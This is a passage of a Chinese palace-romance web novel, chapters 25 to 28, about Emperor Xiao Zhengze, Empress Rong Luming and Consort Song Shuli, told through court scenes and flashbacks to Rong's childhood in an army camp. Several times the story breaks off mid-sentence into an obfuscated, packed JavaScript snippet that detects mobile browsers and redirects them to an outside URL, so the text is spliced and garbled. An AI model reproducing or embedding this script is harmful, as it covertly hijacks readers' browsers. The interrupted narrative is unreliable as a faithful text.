握刀的手停了,镇国公宋衍,萧正昀还是有些忌惮的。绑宋淑离而来,不过是觉得萧正则也许会和父皇一样情深,只要他来,自己就有机会。可他没料到…… 明明萧正则刚走进来时一身戾气,虽然掩饰得很好,可骗不过他的眼睛。当他笑着望向铁笼时,萧正昀知道,他甚而动了以命相搏的念头。 怎么突然就毫不在意了?他竟能安然地坐在自己面前,好整以暇地等!是故作无畏,还是……萧正昀仔细回想了一番,萧正则的变化,好像是从自己拾起宋淑离的脸开始。难道,自己是绑错了人?不,她就是宋淑离,自小相识,他不会认错。 萧正则派出去打探信息的忘筌来报,被萧正昀的侍卫拦住。 “三哥,一刻钟未到,何妨听听他带来什么消息?” “好,让他说。”萧正昀咬牙切齿。 “陛下,容少将已入天牢。” 萧正则听了,笑着站起来,往前走了几步,暗卫把椅子挪到一边。 阴暗的地牢里,他从从容容地立着,浓郁的长眉下,星眸辉光,像是愉快地,准备要宽恕些什么。 他猛得扬手,仿佛要理袖写诗,却见一道银光出袖,直插萧正昀胸口,鲜血蓦地喷出,溅上宋淑离白色的襦裙。 一瞬地,萧正则的暗卫们长剑出鞘——胜负立现。 萧正则摊开自己的右手看着,不十分相信似的,“看来,鸣鸣的匕首果然是宝物啊。” 萧正昀倒在地上,忍住剧痛,往后挪动。萧正则一步步走来,蹲下,看着他的眼睛:“还是一样莽撞呢,三哥。”笑容未落,萧正则纤长有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么报应,我都等着。她们不过俱是我的棋子,用时执于手,不用时弃于旁。挚爱?萧正昀你怕是戏文看多了。你得谢谢父皇的遗诏,我暂时不会杀你,如果你像他们一样乖乖听话。”萧正则把掌中鲜血抹在萧正昀颤动的脸上。 “昙现,传信镇国公:萧正昀劫持宋淑离欲胁迫镇国公与其一道谋反。宋淑离已被朕救下,奸人已伏法。” “是。” 萧正昀近乎昏厥。 “把他关在这里,别让他死了。宋淑离送回国公府,传旨,赐封淑贵妃。” 走出三王府地牢,止痛药的药性过了,萧正则已不能站稳,痛得冷汗直落却不吭一声,由两个暗卫搀着。 “忘筌,你去天牢,替朕看看容鹿鸣。” “陛下……” “朕知道,君子不立于危墙,以后不会了。” 忘筌觉得他情深得可怕,但他自己似乎毫无察觉。 “那,放容少将出来吗?” “不放。”萧正则恨恨地说,他心中怒气未消:她好大的胆子,容家好大的胆子,竟对我避之不及! 他既要保护她,又想狠狠惩罚她,更是要赌一赌,看她接下来会不会背叛他。 25. 情敌与情(上) 永安宫内,宋淑离倚着黄花梨嵌八宝贵妃榻,手里把玩着妃色云锦靠垫的流苏穗子。 脚伤还疼着。 陛下差忘筌送来了药和点心,宋淑离让侍女沐溪搀她起来,敛衽谢恩。 “贵妃娘娘,陛下说了,您好好养着,不必谢恩。陛下明日再来看您。” 一旁侍女把装着碎银的锦包塞在他怀里。 “有劳公公了。” “谢娘娘赏,奴才退下了。” 脚步声远了。 沐溪搀着宋淑离坐下,把她受伤的脚捧在自己膝上。 “娘娘,外头回话,说陛下今晚留宿凤仪宫。” 宋淑离看不出喜怒,淡淡道:“她是皇后,当如此。” “前几日还日日传她去文华殿……” 宋淑离笑了一下,容止仍在左丞的位置上,容雅歌率六十万大军北境作战,她的家世,看上去比自己煊赫些呢。 一如鲜花着锦,烈火烹油。 宋淑离当年早早嫁与二皇子,萧正则与二哥亲厚,她对他也有些了解——明里暗里,他颇有些打击门阀、削弱藩王的意愿,现在却把容鹿鸣捧得这么高,她觉得未必是好事。 当然,她自己也是。萧正则罔顾礼俗娶她为了什么,她心里是清楚的。 当年她与先太子的婚礼何其华贵壮观!红蓝宝石、翡翠东珠……手触之地,八宝皆嵌。她觉得自己作为京中第一显贵之女,亦是艳冠诸美,应当如此。 尚未挑了红头盖,便听沐溪在旁低语宫中密闻,“七王爷前几日去了云顶寺,至今仍未归,怕不是为着您的缘故……” 宋淑离听了,心里突突直跳。人人皆言,萧正则是个病弱无能的王爷,可她看未必。几次见他与二皇子下棋,语含蕴藉。她细致想过他的话,猜到他在外人面前有意藏拙,而才能实不亚于二皇子。 并且,他非常好看,“公子如玉”,所言非虚。即便日日沉沦八雅,药不离手。京中贵女们,却是谁个不想往他身畔凑一凑? 在蝇营狗苟的名利场里,七王妃这不甚鲜亮的位置,多少贵女们却都在真心实意地期盼。 除了容鹿鸣。 她清楚地记得,那是她风光大嫁的前三两年吧,岁近三月三,容鹿鸣由北境战场回京复命。静妃极爱重她,上巳节的流觞曲水之会便交由她安排。 她着了绯色官服,内里皂、白的交领衬得她气质拔俗。革带挂刀,她右手按刀,遥遥望去,纤白的手背如同白玉刀柄。 彼时,时常围绕她喧嚣着流言蜚语:女子不该领兵为官;这个年纪,缘何不嫁,凡此种种,通通噤声。权贵们见到她,皆是恭敬。 宋淑离想:她也不过是个相府庶女,家族能赏给她多少荣耀?她的荣光俱是她自己挣的! 她脚步利落,话不多说。指挥身后的禁军沿溪流做好布防。 将士闻言皆应:“诺。”对她选中的布防处心服口服。 未施脂粉,她清丽得像朵玉兰。提前来这里的王公贵族俱在望她,她却浑然未觉。锐利的目光常在四处逡巡,无人敢上前搭话。 身后的士兵各去了安排的岗哨,她终于独自一人了。 宋淑离朝她那个方向走过去。难得被允许出府,父亲叫她提前来看看,做好准备——在上巳宴上一鸣惊人,争一个王孙夫婿,荣耀家族。父亲自小对她的教养便是如此,这是她的使命。 今日难得见到容鹿鸣,传奇一般的女将军。她知她虽出身不大好,却不知何故,竟在战场长大。她的那些战绩,她一一反复听过,心中满是敬慕。 容家军中颇有将才,均俯首于她。敌国数员大将,皆于她手中败北。同为女子,她羡慕她将才出众,挣脱束缚,罔顾世俗!既圆融于书斋之内,又展锋芒于万里疆场。 京中已有贵女仿效于她,读书习策论,亦想要入官场一展抱负。畏着父亲的禁令,宋淑离不敢,但想问一问她:自己,若果偷入科场奋力一搏,能否如她这般? 近了,她跟上了容鹿鸣的脚步。却有个副官从一旁超过了她,行罢礼,立在容鹿鸣面前。她于是只好装作在玉兰树下赏花,先等他们说完话。 语声低低,而南风似有意,话语借风入她耳。 “少将军,我刚在溪流的二叠处见到了七王爷。” “萧正则怎么在这儿?”宋淑离心中疑惑。前几日他千金买得花魁曲时,二皇子曾邀他今日前来赏春,被他回绝了。 “好,小虎,你顺着这边下去,拖住他。我延着这边小路下山。” “是……不过,少将军,七王爷孤身前来,怕是只想见您一面。前些日子他递来的帖子都被您给回了……您毕竟是他儿时讲郎,何不?” 容鹿鸣淡笑着,摇了摇头。她了解萧正则的心性。他的事知道的越多,她越明白他到底要干什么。而容家,最好不要牵扯其中。 她像只敏捷的白鹿般,极快地消失在花树之间。宋淑离落寞地站在那里,望着她离去的方向。 不消一刻,萧正则便到了,容小虎随侍他身侧。 “七王爷,微臣不敢欺瞒主子,我们少将军今日确实没来……” 萧正则面上露了冷笑,心说:“好个容鹿鸣,躲我?”从山脚一路走来,锦衣如云,低声的絮语中,不时抛出声“少将军”,每每让他心中一紧。 “何故撇得这样干净,因我未握紧权柄?”萧正则立于山顶的玉兰树下,似是在惬意赏花,而愁绪翻涌。 “非也,”他宽慰自己,每每容鹿鸣向他施以援手,皆是他最不堪之时,而她未曾置之不顾,“现今我逐日显赫,她却为何避之唯恐不及?” 宋淑离见萧正则快步走过自己身侧,却似乎未发现自己。又见他立于花树下,风吹他苍蓝色缂丝长袍,衣袂飘飘,露出品蓝下摆的金绣龙纹,革带束腰,上挂白玉蟠龙环佩。 而他伤神低首间,玉、面相应,俊逸似谪仙。 几家贵女状似无意,往这边靠过来。他却浑然不觉,久久望着远处。然后,似是解开了什么牵念,只一笑,掐了朵低枝的玉兰——容鹿鸣刚刚摸过的那朵。 他从这边下山时,才看到一边树下的宋淑离,不知她在那里呆了多久。为着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592653|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩饰失态,他把手中玉兰赠予她,自己留了枚残瓣在掌心。 流言这便有了。宋淑离希望这流言是真的,心里却知道这不是真的。 二皇子曾问过萧正则,宋淑离躲在他对面的廊柱后。她不能忘记他当时的样子,像是听到什么有趣的笑话,出声地笑了,而眼睛里是冷的。 她一瞬地同情自己,同情那些想要和自己一样飞蛾扑火的贵女们。 萧正则大概是没有心的。只在一刻她见过他面露痛处,不为做戏、饮药、骗过他的政敌,却是为去寻容鹿鸣,然未果。 往日悠悠。 宋淑离倚在榻上伤怀,忽闻得琵琶声。凝神细听,好琵琶!乃是名曲《平沙落雁》,解人愁思。 执琴的当是昙现,乐音自凤仪宫声声传来。 凤仪宫内,错银镶金铜鹿灯架上,灯烛俱明。 昙现敛衽施礼,郑重收好乐器。 “皇后觉得如何?” “螺钿五弦琵琶,妙!”真是光华耀眼。容鹿鸣记得,此琴举世只得其二,另一把作为国礼,回赠了西戎。 “朕是说曲子。” “自是更妙。” “好,权作抛砖引玉,皇后可否一展琴艺?”萧正则抱了琴,递向她。 容鹿鸣未动。 昙现笑着劝:“皇后娘娘,这琵琶可是陛下特地为娘娘寻来的。” 容鹿鸣不说话。 见她神色局促,萧正则试探道:“难道,不太熟练?不应该呀,你阿耶、兄长皆是琵琶国手,大、小虎也颇有造诣,你不弹,难道是怕我们把你容家绝技学了去?” 容鹿鸣剜了他一眼,咬唇哼道:“不太会……” 美盼在一旁端着紫檀茶盘,心说:“不是不太会,是太不会……” 人道是容家皆是儒将,此言非虚。才学自不必讲,就是八雅也不在话下。 所以容家人的童年大多是一半拼杀,一半雅趣。偏容鹿鸣不一样。 黏着容雅歌听他弹《霸王卸甲》《十面埋伏》,听得热泪盈眶。容雅歌颇感欣慰,觉得自家妹妹慧根匪浅,还把家传的双凤琵琶请了出来,供她学习。 容鹿鸣先是玩赏了几日,还为这琵琶画了张白描。然后,容大虎来了,容雅歌近几日忙于军务,无暇他顾,便让他来教。其时,容大虎的琴艺已颇为精妙,在如意楼为容雅歌挥奏一曲时,曾得花魁娘子扶阑他顾,遥遥敬赠葡萄酒一盏。 容鹿鸣也想像他、像兄长那样,习琴的时候乖极了。容大虎也觉得她挺努力,没什么可跟大将军抱怨的。 第一天、第二天、第三天……十日倏忽过了,容雅歌问容小虎:“大虎可有在教鸣鸣习琵琶?” 容小虎自沙盘上抬起头,“不太清楚,属下这就去问问。” “不必了。”容雅歌示意他听临近军帐传来的声音。 小虎听罢便笑,“大将军,这定是那些小兵们淘气,去山里逮了雉鸡,养在帐后斗着玩儿。 容雅歌面色愈沉,容小虎意识到自己说错话了,遂凝神细听。这一听,更是忍不住地笑。 26. 情敌与情(中) 容小虎正了正容色,说道:“大将军,要不还是算了吧。属下曾听人说过,孩子的手细软,拨弦时使不好力。” “哼——”容雅歌冷笑,“大虎一十二岁时,一曲《平沙落雁》已是撼人心魄,你也不遑多让。听听这个,就是在家里被惯坏了!” 一声被拔高了的弦音后面,紧跟琴弦被重力碾过的呜咽。容小虎直想捂耳朵,碍于情面,站着未动。 “去,把她给我提溜过来!” 将军训妹,北大营里真正少有。容小虎心说:“哪止是家里惯的,在这里,就是你惯的。”当然,他还是要劝两句的。 连带着前两天,容鹿鸣的那页帖未临好,容雅歌动了动手指,示意容小虎速去,这鬼孩子,他必得给她立好规矩。 容小虎听令走了,心里并不担心大将军会责罚容鹿鸣。 不一会儿,他把容鹿鸣牵了来,她细细的胳膊抱着双凤琵琶,身后跟着容大虎。 容雅歌正准备呵斥她两句,谁知容鹿鸣一见了他,“哇”的一声哭了起来。 “怎么了这是?”骂人的话忘了一大半,容雅歌把人抱过去,上下看看,“是哪里不舒服,受伤了?” “不是——哥——”容鹿鸣边哭边抽,“琵琶弦——割手!”容雅歌看了身旁近卫一眼,那人迅疾走出帐外,不一会儿,军医官陆徐来了。 容大虎接过容鹿鸣怀中琵琶,陆徐为她包扎指上伤口。 陆徐有些心疼,可不是心疼将军小妹,她指上才多大点儿伤,倘若他晚来两三个时辰,指不定那小口子自己就好了。他是心疼那双凤琵琶,多少人只闻其名,梦里都想一触其弦,竟让这妮子……他余光一瞥,扣断了一根弦! 容雅歌和陆徐不一样,他心疼人。罢了罢了,且让她去吧。他让人收了双凤琵琶,大、小虎连带帐中亲卫,皆松了口气。容鹿鸣习琴的帐房就在一旁,他们的耳朵,是真受折磨,又不能说,只好忍着。 真想听容大将军弹奏一曲,堪比昆山玉碎、芙蓉泣露。据说当年陛下听他奏了一曲,余音绕梁久久难忘,后来总惦记召他返京奏琴,静妃屡次相劝,方才作罢。 罢了琴课,读书习字绝不能废,容雅歌如是想。他本想对容鹿鸣的课业盯紧些,却发现根本没必要。她沉迷读书,饭都可以不吃,有时,连桂花糯米糕都哄不过来。 容雅歌进她读书的帐房,端了盘新摘的野葡萄。容鹿鸣只顾低头看书,“嗯嗯”两声,伸着小细指头抓着便吃,不吐皮不吐籽,只一味地嚼。 容雅歌怕她被葡萄籽卡住,大手放到她嘴边,“吐!” 容鹿鸣恍若未闻,好像嚼得还挺香,其实,眼睛都没离开过书页。 容雅歌把葡萄移到一旁,不太敢叫她吃了。“这是在看什么书呢?”他心想,也凑过来看,竟是本《方剂考》,这么小的孩子,看得懂?容雅歌心想,问到:“鸣鸣,这书可好看?” “好看呀!”见她又伸着爪子扒葡萄,容雅歌只得剥了皮、剔了籽,把晶莹的葡萄肉放到她手上。一边给她剥着葡萄,他也凑着一起看。虽说之前看过此书,此时再看,亦颇有趣味。 容小虎来送京中书信时,看到的就是这样的画面:一大一小两个脑袋并在一起,津津有味地读着本——医书。大将军还在剥野葡萄,剥好三个,他自己吃一个,喂给容鹿鸣两个。 他闻着那葡萄味儿就觉得酸,猛然想起来,大虎让他剥了皮、用蜜糖渍过再送来,他给忘了。 “酸吗?”他问得有些心虚。 “还成。”容雅歌答,容鹿鸣没说话。两人的眼睛都没离开书页。 “可要属下把蜜糖罐取来?” 容雅歌不耐烦地动了动手指,示意他退下。容鹿鸣依然没什么反应。听到“蜜糖”两个字,她竟没有哭闹着要! 京中来的书信没什么紧要,容小虎赶忙把它们放到一旁,默默退了出来。 “书有什么好看的?”他心里还挺困惑。殊不知日后会有被容鹿鸣逼着背兵书的那一天。 很快,军帐中的书就不够容鹿鸣看的了。几任军需官俱是知道他们兄妹俩的喜好,运送物资来时,总不忘捎来些书。 容雅歌军务繁忙,看书的时间自然少些。可容鹿鸣有什么事?每日就是看书临帖,临帖看书。兵书、医书、诸子百家……看得又多又杂。 总是过不了多久,书就看完了。看完第二遍时,她就要开始闹人了。同容雅歌一样,她也过目不忘,是不会看第三遍的。 容雅歌就只得让大、小虎带着她,去附近的镇上、县城买书。买来的书,他也一道看。 有一段时间,容鹿鸣看书特别专注,习字临帖特别刻苦——容雅歌以为她在临帖。他心里那个欣慰,还特意给阿耶修书一封,直说小妹长大了,一心向学。 谁知没过两天,几家书铺的老板相约而来,战战兢兢地找上了门。两国虽在打仗,民众也还要生存,边境之间不时做些生意。容雅歌只是加强了对可疑人口的盘查,并未对这生计加以禁止。渐渐的,有的行业还有了小小的行会。这回来的,就有书铺行会的会长。 老会长中过秀才,是个朴实的乡民,见了容雅歌,话都说不齐整,只是一味地说:“请大将军做主。” 容雅歌心有狐疑:每回买书,书钱、赏钱都不少,这是怎么回事?他锐利的目光看向容小虎,小虎只一味闪躲,好,破了案了,一定和容鹿鸣有关! “说,怎么回事!”容雅歌把柏木几案拍得山响。 容小虎“扑通”一声跪下了:“都是属下的错,与女公子无关。” “好,你说,你仔细说,她去买个书能买出个什么事?” 容小虎跪在那不敢抬头,一一道来。 容雅歌都以为自己听错了!“你说谁,我家那个容鹿鸣吗?” 容小虎不敢吭声。 容雅歌给他们气笑了。容鹿鸣去书铺买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592654|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书他是知道的,不少书铺都有不愿卖出的孤本珍藏他也是知道的。这些老板看在他的面子上,将孤本借给容鹿鸣看。她倒也挺懂规矩,就在铺里看,绝不借出来。几位书铺老板先前还对她交口称赞,说她年纪轻轻,却知书达理。 谁知,谁知!她不借出来,却是已记入了脑中。回来就开始默写,不苛求字体,内容却绝对完整无缺,然后,她把她默书的这些孤本拿到市集上,换蜜糖! 居然颇受好评、供不应求,说是预定的人都排到了三个月以后……书铺的老板们知道了,哪里肯罢休,这才一并来找容大将军评理。 “你和大虎是死的吗,这事能让她做?”容雅歌也气,本以为是小妹读书上劲了,没想到是做起了生意。他还困惑,她最近怎么不天天闹着要吃蜜糖了,原来,是在外面吃够了! “属下们也没办法啊!女公子会哭,大哭不停的那种。”容小虎仍端正地跪在那。 容雅歌叹了口气,“还跪着干嘛,去,把银票拿来,赔给几位掌柜。把容鹿鸣也给我提溜过来,道歉!” 被剥夺了卖书的快乐,容鹿鸣没低落几天,容大虎被她买通了,会经常悄悄给她买蜜糖,她默了本孤本的《太公兵法》同他换的。 若买完书时间尚早,容大虎会带她和小虎去茶馆喝茶听书。起初,容鹿鸣是奔着桂花糯米糕去的,小脑袋几乎埋进粗瓷大盘里,不带抬头的。后来,换了个说书师傅,讲历史演义故事,讲北狄的,也讲西戎的,只是不讲晋国的。 容鹿鸣听得入了迷,米糕不吃了,蜜糖也不要了,两只小手托着下巴,两个时辰动都不动。 小虎问大虎:“女公子这么小,听得懂?” 波谲云诡的争斗、阴谋,容小虎不喜欢。大虎示意他看容鹿鸣,见她嘴里轻声嘀咕着什么,两眼熠熠发光。她听过了,便不会忘。 大约过了十几日吧,容将军的亲卫们多了项娱乐,容鹿鸣会在兄长的营帐中说自己听过的书。 起初是源于日常闲谈,容鹿鸣在容雅歌的军帐中玩耍,亲卫们见了,常要恭敬地问一句:“女公子这些日子在做什么呢?” “听书。”容鹿鸣仰着头答。 听到的人多有些意外,知道附近镇子来了个厉害的说书先生,专门讲史。可低头看看蹲在地上玩鲁班锁的孩子,她能听得懂? 于是,便有一问:“女公子可听得懂说的是什么?” 容鹿鸣站起来,把鲁班锁放到兄长案头,拍拍小手,喝一口哥哥的岩茶,清清嗓子,就开始讲了。 她声音不大,帐外也听不到。只是帐外的亲卫见里面的人不出来,进帐提醒,去提醒的人半天不出来,又有人进去叫……等容雅歌结束了练兵往回走,一路上见站岗的亲卫少了不少,心里一沉,他自己和身旁的大、小虎俱是握紧了佩剑。 容雅歌帐中有声音传出来,隔着帷帐,听不真切。容大虎悄然上前,抽出短剑,轻轻挑开帐帘。 27. 情敌与情(下) “这个……”容大虎收回短剑,拉开帐帘请容雅歌自己看。只见帐中黑压压的有十来人,俱是席地坐着。无人说话,一双双眼睛都望着容鹿鸣。只有她在说话,说西戎“辰王之乱”,说民众为冤死的太子、为辰王鸣不平。 大家听得专心致志,容雅歌挑帘进来,一时无人发觉。他都走近容鹿鸣身边了,听的人才如梦初醒,一瞬地站起来,见他面色阴沉,通通跪地谢罪。 “大将军,是前些日子我带女公子去买书,在茶馆里听到的,那个先生颇有些名气,善说历史故事。”容大虎跪在一旁答道。 “原来是这样。”容雅歌感到虚脱一般,松了口气。看到妹妹惊惶的眼睛,他把她抱了起来,坐在自己手臂之上。“哥哥错了,吓到鸣鸣了。” 容鹿鸣圈住了他的脖子,脸颊贴在他颈上,“那……我还能去听书吗?” 沉默了很长时间,又或许只是一两息,容雅歌沉沉的声音响起:“去吧,但要把大、小虎都带上。” 帐里的亲卫们也想斗胆一问,但被容雅歌的气势压得不敢说话。 “你们想听的话也行,”他觉出了他们的心思,“演练中哪一方获胜了,我请鸣鸣来与你们讲书,再配上一坛好酒。”亲卫兵欢呼着,步出营帐。 女公子,后来是容少将,那颇善说书的名号,从那时起,便传开了。 容鹿鸣抱着螺钿琵琶,坐在彩漆的檀木绣墩上,服色、容色俱佳,远胜一副画儿。她有些赧颜,萧正则看出来了,示意昙现把琵琶抱了去。 “那鸣鸣都擅长些什么呢?”寻常女子皆以才艺愉悦夫君,萧正则想叫她知道,她亦该如此。 容鹿鸣迟了片刻才回话,她总不能说自己精于征战、擅于说书吧,于是换了个说法,“回禀陛下,臣妾擅长说故事。” “恩,甚好。”萧正则靠进龙榻的软垫里,想起她说书的名号传得颇为广远,还说她在南境兵营中讲解兵书,精彩有趣,惹得附近村里的孩子都赶着去听。她的这些趣事他都不曾参与,此刻,他示意她说下去。 说些什么故事呢?容鹿鸣想,她最喜欢说西戎的历史演义,可萧正则偏对西戎心存芥蒂,上回虽未追究靖王之事,可凭她对他的了解,他当时只怕是无暇顾及。若此刻再提及,还不定要怎么触发雷霆之怒。 那晋国本国之事?她可更不敢讲。即便她自己就事论事,也难保萧正则不误会她暗含了褒贬。 或者,就讲南蛮吧。她定了定神,开口道:“南蛮之邦……” “怎么不讲西戎之事?”萧正则打断她,“上回宋桓策动政变之时,你说与朕的话,朕想了很久。何不继续一谈?” 这人大抵还是余怒未消,容鹿鸣想,犹豫着,要不要再跪地谢个罪。 萧正则撩了她一眼,“罢了,鸣鸣就讲我晋国的历史演义吧。” 容鹿鸣宁愿给他讲《笑林广记》或《随园食单》,但既然他说了,她也只能挑个容易拿捏的地方开讲。 萧正则听她一本正经地讲起了本朝神话,不是跌宕起伏的民间故事,却是那一众老儒生写的:陛下诸君皆神仙。 他没在听她讲什么,他对这些完全不感兴趣。但见她在他面前从容地叙说着,宛若时光倒回,她还如七年前那般好看。 他脑中闪出那几句:溯游从之,宛在水中央;溯游从之,宛在水中坻……反复吟唱。他那时隐秘地追寻着她,还以为此生终不可得。未曾想,大约神佛怜他心苦。终于的,让她在他触手可及之处了。 他贪心的冀望,愿她所有的秘密都已如卷轴般朝他展开,让他能泯去杀念,栖息在她身畔。 “过来。”他说,见她明眸闪动,朝自己缓步走来,梦里唤过她无数次的,这一回,终于是真的了。他执起她的手,把脸埋入她掌心,像小时候那样。她曾执过剑的、拼杀的、掬满鲜血却柔软掌心,是他宁谧的归处。 许多年了,他不曾有过如此酣畅的睡眠,当容鹿鸣宿在他身侧。他喜欢她研的墨,写的字,烹出的香味过浓的岩茶。静坐时她像捧自在的香花,兀自好看着……他喜欢她皮肤的气息,她卧于他床榻之时,他的梦便平稳了,至多盛些绮念,不涉梦魇。 午夜倘梦醒,他会就着月光看她一会儿。他只允许自己偶尔亲吻她白皙的肩胛,和那里血滴般好看的伤痕。 他竟有些体悟父皇对静妃的钟情了,心中大为警觉。 有时他也去宋淑离那里,镇国公还是要笼络的。他坐一会儿,饮一盏他常喝的峨眉雪芽,同她说几句话。然后推说她腿伤未痊愈,起身回文华殿,或再去凤仪宫饮一盏香茶。 数次之后,一向恬静的宋淑离蓦地问出:“陛下,可是在意我脸上的伤?” 萧正则一怔,他其实都没觉察出她脸上的变化。她香粉涂得光润,胭脂如霞,哪里看得出伤痕?她又常是珠翠满头,很美,也很衬她。 他一刹地想到,他令匠师精心制做了龙凤步摇,图式还是他亲自画的。他本想把珍藏的宝石多镶嵌几块上去,匠师闻言跪地,说难以达成,不敢起身。镶嵌的图样出了好几个,想到容鹿鸣简淡的性子,他选了东珠。 未想到她大约仍是觉得重,代他批折子时摘了又戴,戴了又摘。摘的是她自己,给她戴回去的是他。 此刻宋淑离温婉地立于他面前,低垂了头,黄金嵌红宝石的龙凤步摇垂下成串米粒大小的穗子,亦是红宝石的,沉沉贴在她桃花般的面颊上。他觉得她好看,如同一幅画,一眼看过去,也就看过去了。 容鹿鸣可不曾这般精美过。她眼角上还有个伤疤,却从来也不涂饰什么,笑的时候,那疤痕向上挑着,好像给她的笑意勾了个边。她是省烦从简惯了的,他曾听美盼带点抱怨地说:“皇后娘娘,就是仗着自己长得好看!” 萧正则深以为然,她的好看是生气勃勃的,浸染着周遭的物事,一眼看不到尽头。他想在她的浸染里停着。 萧正则忙于赈灾事务,除了太极殿的朝会,文华殿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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容鹿鸣猛力抽回手,不待敛衽施礼,疾步走出文华殿,只留昙现在身后说着什么。她脑袋里嗡嗡直响,全然听不清楚。 “皇后娘娘——”美盼紧跟她身后,唤了好几声。 容鹿鸣简直觉得……回了凤仪宫,她在错银镶金铜鹿灯架下抄《触蛮》,撕了好几页,团了扔掉,积在黄花梨龙凤纹翘头案下,似雪却不化,如她心底难解的惑。 容鹿鸣不敢再造次了。 昙现再来传话,她只说要静思己过,闭门抄写老庄。皓腕上留下个殷红的齿痕,抬笔时能看见,夜里就寝时若不甚压在胸口,能烫得她终夜难以入眠。 先前怎么嬉笑,亦勿管他如何狠辣,在她心里,萧正则始终不过是她教过的那个孩童,她极欣赏他的禀赋,也曾为了救他舍出性命。 但这一刻,她刻意忽视的现实从他欲念涌动的视线中剥离出来——确实,他已是个成年男子了。 28. 端倪初露 嫔妃的册封典礼那天,容鹿鸣不得不出现了。她恭敬地立在萧正则身旁,贵重的凤冠和袆衣缓和了她的锐气,她的艳丽由是勃发出来,纵使敛了眉眼,亦压不住她无法名状的妍丽。 初次见她的贵女们没有私下议论的,但心中少不了一叹:但见此人——色容艳姿美,光华耀倾城,哪里像是令人闻风丧胆的少将军? 萧正则倒是谨守礼仪,始终距她一步之远,语调低沉威严,前几日那般的逼迫似是梦境。 容鹿鸣同自己说,定是过虑了。她居高望向汉白玉台基下香花般的美人,大感自己脱身有望,认定萧正则那日定是醉了。 醉于什么呢? 曾经他大逆不道,抽出匕首抵住她咽喉,脸颊贴上她鬓发,竟问出了一句:“容将郎教我谋天下,可教过如何谋你?” 她当时正端坐于棋盘之前,落子如常。闻到他身上的淡淡酒气,她站起身来,任他利刃抵喉,倒是不惧。 萧正则的手抖了起来,容鹿鸣看进他眼里,他被什么苦痛缠住了吗?心间一动,她的手缓缓抚上他后颈。 他一时的恍惚了,觉得饮下的那口酒里浓着醉意万千。她的手,她温热的手,如同抚在他赤裸的脊骨上,他想说些什么、尽力说些什么,却倏忽间,坠入黑暗。 容鹿鸣腕间涂了她新制的迷药,于她自己无用,旁人怕是难走出一步。她正调试其中香料的浓度,没料到他会来。 萧正则倒进她怀里。她竟惊出一身冷汗。刚刚高高扬起的某种情绪“噗”地落下,她觉得自己又在平地上站稳了。 她架起萧正则,让他在床榻之上躺好。心里叹息:“这孩子,是长大些了。幸好是自己,倘若换成其他女子,不知得怎么着迷。”她捏了下他高挺的鼻梁,看着他的面容,“以后,会惹得多少女子伤心呢?” 她帮他盖好薄毯。他的酒搁在案上,还余半盏。她端起饮了,甘甜清冽,只是新酿的米酒。 翌日,萧正则又恢复成谦恭有礼的模样,一早便来她府门前跪着,口里念着:“徒儿知错,日后再不饮酒,请容讲郎宽恕。” 并没有真的伤到她,容鹿鸣并不介怀。自此,萧正则确是不再饮酒。 于凤仪宫中抄了几日老庄,把容鹿鸣给写清醒了。萧正则看上去也清醒了。权当那日她腕上的咬痕是由于他的醉,无关乎饮酒与否。 眼前的贵女们按照品级,一一承了册封的金册,有美众众,被服纤罗。妖姿艳丽,蓊若春华。 其他人容鹿鸣不太在意,还未到笼络她们的时候。她不准痕迹的睇着林乔峤。 是好看,容鹿鸣想,且美得锋锐,如从一众低眉垂首的芳颜中直杀出一道艳光。她觉得自己大抵可称后继有人,禁不住思绪闪开片刻:倘离了宫,先去穹心阙将那石窟凿好,菩萨的手……她想到那指尖的线条。然后去西戎,在那里等着,父、兄卸了任,前来寻她……想远了,想远了!她迫使自己仅注视眼前,点翠嵌东珠的、祖母绿的、翡翠的……林乔峤环佩叮当,带起一阵玉兰香。石榴红立狮宝花纹锦缎襦裙配同花纹萱草色锦缎褙子,衬得她华贵极了。 容鹿鸣欣赏了一会儿她的美,她还挺喜欢她。接着在心里打了会儿算盘,她这一身衣饰,约略算算,不下千金。其他贵女淡妆秀雅,她却是浓墨重彩。 林尚书这是心急了,容鹿鸣想,怕是眼见容家封了后,宋家封了贵妃,他怎么也得透过女儿,给家族争个贵阶。几大世家中,林家算是新兴,也最是急切。 新贵们若想站稳,总得熬过为君王执剑破局的关口。林家能吗?容鹿鸣不知。她见萧正则望向林乔峤时微微露了些笑意,不是欢喜,却是成竹在胸。 一时的,她有些不忍。 